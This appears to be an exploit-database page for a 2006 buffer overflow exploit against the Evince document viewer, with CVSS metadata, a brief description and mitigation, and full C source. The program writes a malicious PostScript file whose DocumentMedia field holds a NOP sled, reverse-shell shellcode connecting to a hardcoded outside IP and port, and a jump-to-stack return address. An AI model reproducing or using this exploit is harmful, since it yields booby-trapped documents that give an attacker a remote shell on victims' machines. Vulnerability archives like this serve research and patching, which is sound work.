evince-ps-field-bof.c

vendor:

Evince

by:

K-sPecial

7,5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Evince

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2006

evince-ps-field-bof.c is a C program created by K-sPecial (xzziroz.net) of .aware (awarenetwork.org) in 2006. It is a buffer overflow exploit for Evince, a document viewer. The exploit is triggered when a maliciously crafted PostScript file is opened in Evince. The exploit uses a shellcode from Metasploit to gain remote access to the system. The shellcode must be set to Encoder=None for it to work.

Mitigation:

Update to the latest version of Evince and ensure that all PostScript files are from trusted sources.

Source

Exploit-DB raw data:

/*
 * Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
 * Name: evince-ps-field-bof.c
 * Date: 11/27/2006
 * Version: 
 * 	1.00 - creation
 *
 * Other: this idea originaly came from the bid for the 'gv' buffer overflow (20978), i don't
 *  believe it's known until now that evince is also vulnerable. 
 *
 * Compile: gcc -o epfb evince-ps-field-bof.c -std=c99
*/
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>

// insert shellcode here, i'm not going to implement ip/port changing since
// metasploit's shellcode generation engine does it just fine. i had a picky time
// with the shellcodes, there must be some bad bytes. this shellcode from 
// metasploit works but be SURE to set Encoder=None

/* linux_ia32_reverse -  LHOST=67.76.107.14 LPORT=5555 Size=70 Encoder=None http://metasploit.com */
char cb[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x43\x4c\x6b\x0e\x66\x68"
"\x15\xb3\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";

// location of "jmp *%esp"
char jmpesp[] = "\x77\xe7\xff\xff";

int main (int argc, char **argv) {
	FILE *fh;

	if (!(fh = fopen(*(argv+1), "w+b"))) { 
		printf("%s <file.ps>\n\n", *(argv));
		printf("[-] unable to open file '%s' for writing: %s\n", *(argv+1), strerror(errno));
		exit(1);
	}

	fputs("%!PS-Adobe-3.0\n", fh);
	fputs("%%Title: hello.ps\n", fh);
	fputs("%%For: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)\n", fh);
	fputs("%%BoundingBox: 24 24 588 768\n", fh);
	fputs("%%DocumentMedia: ", fh);
	for (int i = 0; i < 100; i++) 
		fputc(0x90, fh);

	fwrite(cb, strlen(cb), 1, fh);

	for (int i = strlen(cb) + 100; i < 273; i++) 
		fputc('A', fh);

	fwrite(jmpesp, 4, 1, fh);
	fwrite("\xe9\x02\xff\xff\xff", 5, 1, fh);

	fputc('\n', fh);

	fputs("%%DocumentData: Clean7Bit\n", fh);
	fputs("%%Orientation: Landscape\n", fh);
	fputs("%%Pages: 1\n", fh);
	fputs("%%PageOrder: Ascend\n", fh);
	fputs("%%+ encoding ISO-8859-1Encoding\n", fh);
	fputs("%%EndComments\n", fh);

	return(0);
}

// milw0rm.com [2006-11-28]